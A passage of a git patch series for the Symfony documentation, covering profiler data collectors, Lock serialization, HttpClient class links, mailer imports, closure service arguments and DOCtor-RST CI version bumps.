-    {% endblock %}
-
-.. tip::
-
-    Built-in collector templates define all their images as embedded SVG files.
-    This makes them work everywhere without having to mess with web assets links:
-
-    .. code-block:: twig
-
-        {% set icon %}
-            {{ include('data_collector/icon.svg') }}
-            {# ... #}
-        {% endset %}
-
-If the toolbar panel includes extended web profiler information, the Twig template
-must also define additional blocks:
-
-.. code-block:: html+twig
-
-    {# templates/data_collector/template.html.twig #}
-    {% extends '@WebProfiler/Profiler/layout.html.twig' %}
-
-    {% block toolbar %}
-        {% set icon %}
-            {# ... #}
-        {% endset %}
-
-        {% set text %}
-            <div class="sf-toolbar-info-piece">
-                {# ... #}
-            </div>
-        {% endset %}
-
-        {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { 'link': true }) }}
-    {% endblock %}
-
-    {% block head %}
-        {# Optional. Here you can link to or define your own CSS and JS contents. #}
-        {# Use {{ parent() }} to extend the default styles instead of overriding them. #}
-    {% endblock %}
-
-    {% block menu %}
-        {# This left-hand menu appears when using the full-screen profiler. #}
-        <span class="label">
-            <span class="icon"><img src="..." alt=""/></span>
-            <strong>Request</strong>
-        </span>
-    {% endblock %}
-
-    {% block panel %}
-        {# Optional, for showing the most details. #}
-        <h2>Acceptable Content Types</h2>
-        <table>
-            <tr>
-                <th>Content Type</th>
-            </tr>
-
-            {% for type in collector.acceptableContentTypes %}
-            <tr>
-                <td>{{ type }}</td>
-            </tr>
-            {% endfor %}
-        </table>
-    {% endblock %}
-
-The ``menu`` and ``panel`` blocks are the only required blocks to define the
-contents displayed in the web profiler panel associated with this data collector.
-All blocks have access to the ``collector`` object.
-
-.. note::
-
-    The position of each panel in the toolbar is determined by the collector
-    priority, which can only be defined when :ref:`configuring the data collector by hand <data_collector_tag>`.
-
-.. note::
-
-    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
-    with ``autoconfigure``, then Symfony will start displaying your collector data
-    in the toolbar after the next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
-
-.. _data_collector_tag:
-
-Enabling Custom Data Collectors
--------------------------------
-
-If you don't use Symfony's default configuration with
-:ref:`autowire and autoconfigure <service-container-services-load-example>`
-you'll need to configure the data collector explicitly:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            App\DataCollector\RequestCollector:
-                tags:
-                    -
-                        name: data_collector
-                        # must match the value returned by the getName() method
-                        id: 'App\DataCollector\RequestCollector'
-                        # optional template (it has more priority than the value returned by getTemplate())
-                        template: 'data_collector/template.html.twig'
-                        # optional priority (positive or negative integer; default = 0)
-                        # priority: 300
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\DataCollector\RequestCollector">
-                    <!-- the 'template' attribute has more priority than the value returned by getTemplate() -->
-                    <tag name="data_collector"
-                        id="App\DataCollector\RequestCollector"
-                        template="data_collector/template.html.twig"
-                    />
-                    <!-- optional 'priority' attribute (positive or negative integer; default = 0) -->
-                    <!-- priority="300" -->
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\DataCollector\RequestCollector;
-
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(RequestCollector::class)
-                ->tag('data_collector', [
-                    'id' => RequestCollector::class,
-                    // optional template (it has more priority than the value returned by getTemplate())
-                    'template' => 'data_collector/template.html.twig',
-                    // optional priority (positive or negative integer; default = 0)
-                    // 'priority' => 300,
-                ]);
-        };
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index c1e2c902605..e6b1d44aa69 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -362,7 +362,7 @@ data_collector
 **Purpose**: Create a class that collects custom data for the profiler
 
 For details on creating your own custom data collection, read the
-:doc:`/profiler/data_collector` article.
+:ref:`profiler-data-collector` article.
 
 doctrine.event_listener
 -----------------------
@@ -718,7 +718,7 @@ the tag.
 
 This is mostly useful when running your projects in application servers that
 reuse the Symfony application between requests to improve performance. This tag
-is applied for example to the built-in :doc:`data collectors </profiler/data_collector>`
+is applied for example to the built-in :ref:`data collectors <profiler-data-collector>`
 of the profiler to delete all their information.
 
 .. _dic_tags-mime:
diff --git a/testing/profiling.rst b/testing/profiling.rst
index db7714b9d1f..0637e134a91 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -126,5 +126,5 @@ finish. It can be achieved by embedding the token in the error message::
 
 .. tip::
 
-    Read the API for built-in :doc:`data collectors </profiler/data_collector>`
+    Read the API for built-in :ref:`data collectors <profiler-data-collector>`
     to learn more about their interfaces.

From 2d4ba43093b407ca4f8ed42a5595ab272d1fa522 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 31 Jan 2023 13:03:30 +0100
Subject: [PATCH 2859/5766] [Lock] Complete Lock example for less ambiguity

---
 components/lock.rst | 36 +++++++++++++++++++++++++++++++++++-
 1 file changed, 35 insertions(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index bce846ef0b7..fa048e56264 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -75,8 +75,42 @@ Serializing Locks
 The :class:`Symfony\\Component\\Lock\\Key` contains the state of the
 :class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
 allows the user to begin a long job in a process by acquiring the lock, and
-continue the job in another process using the same lock::
+continue the job in another process using the same lock.
 
+First, you may create a serializable class containing the resource and the
+key of the lock::
+
+    // src/Lock/RefreshTaxonomy.php
+    namespace App\Lock;
+
+    use Symfony\Component\Lock\Key;
+
+    class RefreshTaxonomy
+    {
+        private object $article;
+        private Key $key;
+
+        public function __construct(object $article, Key $key)
+        {
+            $this->article = $article;
+            $this->key = $key;
+        }
+
+        public function getArticle(): object
+        {
+            return $this->article;
+        }
+
+        public function getKey(): Key
+        {
+            return $this->key;
+        }
+    }
+
+Then, you can use this class to dispatch all that's needed for another process
+to handle the rest of the job::
+
+    use App\Lock\RefreshTaxonomy;
     use Symfony\Component\Lock\Key;
     use Symfony\Component\Lock\Lock;
 

From 855c0f3ca70c7275fc6dbd0d04ba966ef5db5aae Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 31 Jan 2023 13:17:04 +0100
Subject: [PATCH 2860/5766] [HttpClient] Replaced code block by `:class:` when
 relevant

---
 http_client.rst | 51 +++++++++++++++++++++++++++----------------------
 1 file changed, 28 insertions(+), 23 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 23cc928ac2a..a94587a966e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -790,8 +790,9 @@ SSRF (Server-side request forgery) Handling
 requests to an arbitrary domain. These attacks can also target the internal
 hosts and IPs of the attacked server.
 
-If you use an ``HttpClient`` together with user-provided URIs, it is probably a
-good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will
+If you use an :class:`Symfony\\Component\\HttpClient\\HttpClient` together
+with user-provided URIs, it is probably a good idea to decorate it with a
+:class:`Symfony\\Component\\HttpClient\\NoPrivateNetworkHttpClient`. This will
 ensure local networks are made inaccessible to the HTTP client::
 
     use Symfony\Component\HttpClient\HttpClient;
@@ -871,8 +872,8 @@ Configuring CurlHttpClient Options
 
 PHP allows to configure lots of `cURL options`_ via the :phpfunction:`curl_setopt`
 function. In order to make the component more portable when not using cURL, the
-``CurlHttpClient`` only uses some of those options (and they are ignored in the
-rest of clients).
+:class:`Symfony\\Component\\HttpClient\\CurlHttpClient` only uses some of those
+options (and they are ignored in the rest of clients).
 
 Add an ``extra.curl`` option in your configuration to pass those extra options::
 
@@ -1059,7 +1060,8 @@ Canceling Responses
 
 To abort a request (e.g. because it didn't complete in due time, or you want to
 fetch only the first bytes of the response, etc.), you can either use the
-``cancel()`` method of ``ResponseInterface``::
+``cancel()`` method of
+:class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`::
 
     $response->cancel();
 
@@ -1073,7 +1075,8 @@ Or throw an exception from a progress callback::
         },
     ]);
 
-The exception will be wrapped in an instance of ``TransportExceptionInterface``
+The exception will be wrapped in an instance of
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
 and will abort the request.
 
 In case the response was canceled using ``$response->cancel()``,
@@ -1273,7 +1276,8 @@ that network errors can happen when calling e.g. ``getStatusCode()`` too::
     Because ``$response->getInfo()`` is non-blocking, it shouldn't throw by design.
 
 When multiplexing responses, you can deal with errors for individual streams by
-catching ``TransportExceptionInterface`` in the foreach loop::
+catching :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
+in the foreach loop::
 
     foreach ($client->stream($responses) as $response => $chunk) {
         try {
@@ -1417,9 +1421,9 @@ PSR-18 and PSR-17
 
 This component implements the `PSR-18`_ (HTTP Client) specifications via the
 :class:`Symfony\\Component\\HttpClient\\Psr18Client` class, which is an adapter
-to turn a Symfony ``HttpClientInterface`` into a PSR-18 ``ClientInterface``.
-This class also implements the relevant methods of `PSR-17`_ to ease creating
-request objects.
+to turn a Symfony :class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`
+into a PSR-18 ``ClientInterface``. This class also implements the relevant
+methods of `PSR-17`_ to ease creating request objects.
 
 To use it, you need the ``psr/http-client`` package and a `PSR-17`_ implementation:
 
@@ -1480,9 +1484,9 @@ The `HTTPlug`_ v1 specification was published before PSR-18 and is superseded by
 it. As such, you should not use it in newly written code. The component is still
 interoperable with libraries that require it thanks to the
 :class:`Symfony\\Component\\HttpClient\\HttplugClient` class. Similarly to
-``Psr18Client`` implementing relevant parts of PSR-17, ``HttplugClient`` also
-implements the factory methods defined in the related ``php-http/message-factory``
-package.
+:class:`Symfony\\Component\\HttpClient\\Psr18Client` implementing relevant parts of PSR-17,
+``HttplugClient`` also implements the factory methods defined in the related
+``php-http/message-factory`` package.
 
 .. code-block:: terminal
 
@@ -1629,10 +1633,6 @@ The solution is to also decorate the response object itself.
 :class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
 examples as a starting point.
 
-.. versionadded:: 5.2
-
-    ``AsyncDecoratorTrait`` was introduced in Symfony 5.2.
-
 In order to help writing more advanced response processors, the component provides
 an :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait`. This trait allows
 processing the stream of chunks as they come back from the network::
@@ -1690,15 +1690,20 @@ has many safety checks that will throw a ``LogicException`` if the chunk
 passthru doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()``
 one, or if a content chunk is yielded before an ``isFirst()`` one, etc.
 
+.. versionadded:: 5.2
+
+    :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait` was introduced in Symfony 5.2.
+
 Testing
 -------
 
-This component includes the ``MockHttpClient`` and ``MockResponse`` classes to
-use in tests that shouldn't make actual HTTP requests. Such tests can be
-useful, as they will run faster and produce consistent results, since they're
-not dependent on an external service. By not making actual HTTP requests there
-is no need to worry about the service being online or the request changing
-state, for example deleting a resource.
+This component includes the :class:`Symfony\\Component\\HttpClient\\MockHttpClient`
+and :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` classes to use
+in tests that shouldn't make actual HTTP requests. Such tests can be useful, as they
+will run faster and produce consistent results, since they're not dependent on an
+external service. By not making actual HTTP requests there is no need to worry about
+the service being online or the request changing state, for example deleting
+a resource.
 
 ``MockHttpClient`` implements the ``HttpClientInterface``, just like any actual
 HTTP client in this component. When you type-hint with ``HttpClientInterface``

From 201b622f40a2cda8935d63d090a0b63c5880869b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 31 Jan 2023 19:04:26 +0100
Subject: [PATCH 2861/5766] Minor

Page: https://symfony.com/doc/5.4/routing.html

Reason: Might be misunderstood as "unique throughout the entire project"

It's explained 2 paragraphs further down:

> Routes can define any number of parameters, but each of them can only be used once on each route
---
 routing.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index de258200f91..5b3900868d0 100644
--- a/routing.rst
+++ b/routing.rst
@@ -498,9 +498,8 @@ However, it's common to define routes where some parts are variable. For example
 the URL to display some blog post will probably include the title or slug
 (e.g. ``/blog/my-first-post`` or ``/blog/all-about-symfony``).
 
-In Symfony routes, variable parts are wrapped in ``{ ... }`` and they must have
-a unique name. For example, the route to display the blog post contents is
-defined as ``/blog/{slug}``:
+In Symfony routes, variable parts are wrapped in ``{ }``.
+For example, the route to display the blog post contents is defined as ``/blog/{slug}``:
 
 .. configuration-block::
 

From f213e181207c99c20f7cc6897c2977a6e62620ad Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 31 Jan 2023 21:53:28 +0100
Subject: [PATCH 2862/5766] Minor: Removing code line

This line is not new, it's already present in the code block above.
---
 mailer.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 29819af5a52..8499e09ff3a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -752,8 +752,6 @@ the ``TemplatedEmail`` class:
 
 .. code-block:: diff
 
-    + use Symfony\Bridge\Twig\Mime\TemplatedEmail;
-
     $email = (new TemplatedEmail())
         // ...
 

From a750fd5f98448d3082ac89e718a7f12adce48b44 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 1 Feb 2023 10:30:17 +0100
Subject: [PATCH 2863/5766] remove versionadded directive for Symfony 5.2

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 127c689638f..360e9b3cfcc 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1695,10 +1695,6 @@ has many safety checks that will throw a ``LogicException`` if the chunk
 passthru doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()``
 one, or if a content chunk is yielded before an ``isFirst()`` one, etc.
 
-.. versionadded:: 5.2
-
-    :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait` was introduced in Symfony 5.2.
-
 Testing
 -------
 

From 44cad7eac0793d2b58f43d1d7948bced742f8360 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 1 Feb 2023 10:38:21 +0100
Subject: [PATCH 2864/5766] fix link to the ExpressionLanguage syntax reference

---
 reference/constraints/When.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 79f1cb8ffa2..acd35cddcf5 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -147,7 +147,7 @@ One way to accomplish this is with the When constraint:
 
 The `expression`_ option is the expression that must return true in order
 to trigger the validation of the attached constraints. To learn more about
-the expression language syntax, see :doc:`/components/expression_language/syntax`.
+the expression language syntax, see :doc:`/reference/formats/expression_language`.
 
 For more information about the expression and what variables are available
 to you, see the `expression`_ option details below.
@@ -165,7 +165,7 @@ If the expression evaluates to a falsey value (i.e. using ``==``, not ``===``),
 validation of constraints won't be triggered.
 
 To learn more about the expression language syntax, see
-:doc:`/components/expression_language/syntax`.
+:doc:`/reference/formats/expression_language`.
 
 Depending on how you use the constraint, you have access to 1 or 2 variables
 in your expression:

From 5e1f2f499c2261d2656a3a4687f2d56c6a0fc919 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 1 Feb 2023 15:03:28 +0100
Subject: [PATCH 2865/5766] fix reference to extending expression language
 section

---
 reference/formats/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 0e819f5a817..c1e0db99240 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -186,7 +186,7 @@ This will print out ``true``.
 .. tip::
 
     To read how to register your own functions to use in an expression, see
-    ":doc:`/components/expression_language/extending`".
+    ":ref:`expression-language-extending`".
 
 .. _component-expression-arrays:
 

From 4b81379ffcdba6567ac7f5c30b4339678bbdd883 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 1 Feb 2023 15:10:01 +0100
Subject: [PATCH 2866/5766] add missing telegram docs link target

---
 notifier/telegram.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier/telegram.rst b/notifier/telegram.rst
index 500ce27f245..2e967a579f6 100644
--- a/notifier/telegram.rst
+++ b/notifier/telegram.rst
@@ -89,3 +89,4 @@ When sending message with inline keyboard buttons with callback data, you can us
         );
 
 .. _`message options`: https://core.telegram.org/bots/api
+.. _`answer callback queries`: https://core.telegram.org/bots/api#answercallbackquery

From 993d960e0b0cbd37ac48d4a85013d96944a0a64d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Feb 2023 17:40:22 +0100
Subject: [PATCH 2867/5766] Minor fix

---
 profiler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 55bc0b6bf54..1b3f21f031f 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -217,7 +217,7 @@ event::
 .. _profiler-data-collector:
 
 Creating a Data Collector
-=========================
+-------------------------
 
 The Symfony Profiler obtains its profiling and debug information using some
 special classes called data collectors. Symfony comes bundled with a few of

From 56ed214d4bb171358a82560139ea597edeb4327e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 1 Feb 2023 21:54:16 +0100
Subject: [PATCH 2868/5766] Minor

---
 profiler.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 1b3f21f031f..125e012e91c 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -2,7 +2,7 @@ Profiler
 ========
 
 The profiler is a powerful **development tool** that gives detailed information
-about the execution of any request. 
+about the execution of any request.
 
 .. caution::
 
@@ -211,6 +211,7 @@ event::
         $response = $event->getResponse();
         $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
     }
+
 .. index::
    single: Profiling; Data collector
 

From 08fa6d176149f144d9aa37e1d1659033d053d187 Mon Sep 17 00:00:00 2001
From: Punt <33422215+Punt13140@users.noreply.github.com>
Date: Thu, 2 Feb 2023 14:41:23 +0100
Subject: [PATCH 2869/5766] Import

Import ContainerConfigurator and ContainerBuilder
---
 bundles/configuration.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 5df1177d910..50b68705698 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -334,6 +334,8 @@ add this logic to the bundle class directly::
     namespace Acme\SocialBundle;
 
     use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
     class AcmeSocialBundle extends AbstractBundle

From 02e16d503a86bbee00d392dd96d0865377da618e Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Thu, 2 Feb 2023 15:33:39 +0100
Subject: [PATCH 2870/5766] [Profiler] Fix obsolete link

---
 profiler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 125e012e91c..7b5a3373ffa 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -92,7 +92,7 @@ Run this command to get the list of collectors actually enabled in your app:
 
     $ php bin/console debug:container --tag=data_collector
 
-You can also :doc:`create your own data collector </profiler/data_collector>` to
+You can also :ref:`create your own data collector <profiler-data-collector>` to
 store any data generated by your app and display it in the debug toolbar and the
 profiler web interface.
 

From 2d974758e3e8c2c1b2a5b8b1de878ce90415370e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 06:12:20 +0100
Subject: [PATCH 2871/5766] Use DOCtor-RST 1.37.0

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 48fc477767a..6781180a290 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.35.1
+                uses: docker://oskarstark/doctor-rst:1.37.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 9c1724359b1bbd8f15d908ab3e5a3acb80c8e75d Mon Sep 17 00:00:00 2001
From: Knallcharge <Knallcharge@users.noreply.github.com>
Date: Fri, 3 Feb 2023 07:26:31 +0100
Subject: [PATCH 2872/5766] Update notifier.rst

fixed typo
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index a5b1ec2456d..b744c346d1e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -903,7 +903,7 @@ is dispatched. Listeners receive a
         $message = $event->getOriginalMessage();
 
         // log something
-        $this->logger(sprintf('The message has been successfully sent and have id: %s, $message->getMessageId()'));
+        $this->logger(sprintf('The message has been successfully sent and has id: %s, $message->getMessageId()'));
     });
 
 .. TODO

From 32dfcbd48ba6b9df8538891cabef17f97c714b3f Mon Sep 17 00:00:00 2001
From: "Phil E. Taylor" <phil@phil-taylor.com>
Date: Thu, 2 Feb 2023 21:25:10 +0000
Subject: [PATCH 2873/5766] import function env to avoid fatal error if copying
 docs

---
 mailer.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8499e09ff3a..7ed34fb375b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -54,6 +54,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     .. code-block:: php
 
         // config/packages/mailer.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
         return static function (ContainerConfigurator $containerConfigurator): void {
@@ -1193,6 +1194,7 @@ This can be configured by replacing the ``dsn`` configuration entry with a
     .. code-block:: php
 
         // config/packages/mailer.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {

From 3c71f300d9fe369add288eb16f81db2ededf4bb0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 22 Jan 2023 19:40:40 +0100
Subject: [PATCH 2874/5766] [DependencyInjection] Add `closure` argument type

---
 service_container.rst | 94 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 94 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 5593b02d8a4..f23f6dc09ac 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -700,6 +700,100 @@ For a full list of *all* possible services in the container, run:
 
     $ php bin/console debug:container
 
+Injecting a Closure as an Argument
+----------------------------------
+
+It is possible to inject a callable as an argument of a service.
+Let's add an argument to our ``MessageGenerator`` constructor::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+
+    class MessageGenerator
+    {
+        private $logger;
+        private $messageHash;
+
+        public function __construct(LoggerInterface $logger, callable $generateMessageHash)
+        {
+            $this->logger = $logger;
+            $this->messageHash = $generateMessageHash();
+        }
+        // ...
+    }
+
+Now, we would add a new invokable service to generate the message hash::
+
+    // src/Hash/MessageHashGenerator.php
+    namespace App\Hash;
+
+    class MessageHashGenerator
+    {
+        public function __invoke(): string
+        {
+            // Compute and return a message hash
+        }
+    }
+
+Our configuration looks like this:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ... same code as before
+
+            # explicitly configure the service
+            App\Service\MessageGenerator:
+                arguments:
+                    $logger: '@monolog.logger.request'
+                    $generateMessageHash: !closure '@App\Hash\MessageHashGenerator'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... same code as before -->
+
+                <!-- Explicitly configure the service -->
+                <service id="App\Service\MessageGenerator">
+                    <argument key="$logger" type="service" id="monolog.logger.request"/>
+                    <argument key="$generateMessageHash" type="closure" id="App\Hash\MessageHashGenerator"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Service\MessageGenerator;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            // ... same code as before
+
+            // explicitly configure the service
+            $services->set(MessageGenerator::class)
+                ->arg('$logger', service('monolog.logger.request'))
+                ->arg('$generateMessageHash', closure('App\Hash\MessageHashGenerator'))
+            ;
+        };
+
+.. versionadded:: 6.1
+
+    The ``closure`` argument type was introduced in Symfony 6.1.
+
 .. _services-binding:
 
 Binding Arguments by Name or Type

From 9dff4a833f1be59870c9d528a95ddad18f39d849 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 11:54:19 +0100
Subject: [PATCH 2875/5766] Fix: Build

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6781180a290..48fc477767a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.37.0
+                uses: docker://oskarstark/doctor-rst:1.35.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 6210895e9e6f023289f6c091571fccd94a7a31aa Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 12:46:43 +0100
Subject: [PATCH 2876/5766] minor

---
 reference/forms/types/collection.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index ab537de89ab..9c4688c0048 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -11,7 +11,8 @@ forms, which is useful when creating forms that expose one-to-many
 relationships (e.g. a product from where you can manage many related product
 photos).
 
-When rendered, existing collection entries are indexed by the keys of the array that is passed as the collection type field data.
+When rendered, existing collection entries are indexed by the keys of the array
+that is passed as the collection type field data.
 
 +---------------------------+--------------------------------------------------------------------------+
 | Rendered as               | depends on the `entry_type`_ option                                      |

From a6299f62c8fa0c581c2223227a3062ed2ffb3a8e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 11:54:57 +0100
Subject: [PATCH 2877/5766] Use DOCtor-RST 1.38.2

---
 .doctor-rst.yaml                   |  2 +-
 .github/workflows/ci.yaml          |  2 +-
 frontend/encore/simple-example.rst |  4 ++--
 frontend/ux.rst                    |  2 +-
 mercure.rst                        | 10 +++++-----
 5 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 9247ed41dfe..3cebb1a12f8 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -54,6 +54,7 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
     yarn_dev_option_at_the_end: ~
+    no_merge_conflict:
 
     #   master
     versionadded_directive_major_version:
@@ -88,7 +89,6 @@ whitelist:
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
         - '.. versionadded:: 0.2' # MercureBundle
-        - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
         - '// bin/console'
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 48fc477767a..e42b78e849c 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.35.1
+                uses: docker://oskarstark/doctor-rst:1.38.2
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index c2fc50289a5..d41da8daf84 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -75,7 +75,7 @@ To build the assets, run the following if you use the Yarn package manager:
     $ yarn dev-server
     # or
     $ npm run dev-server
-    
+
     # compile assets once
     $ yarn dev
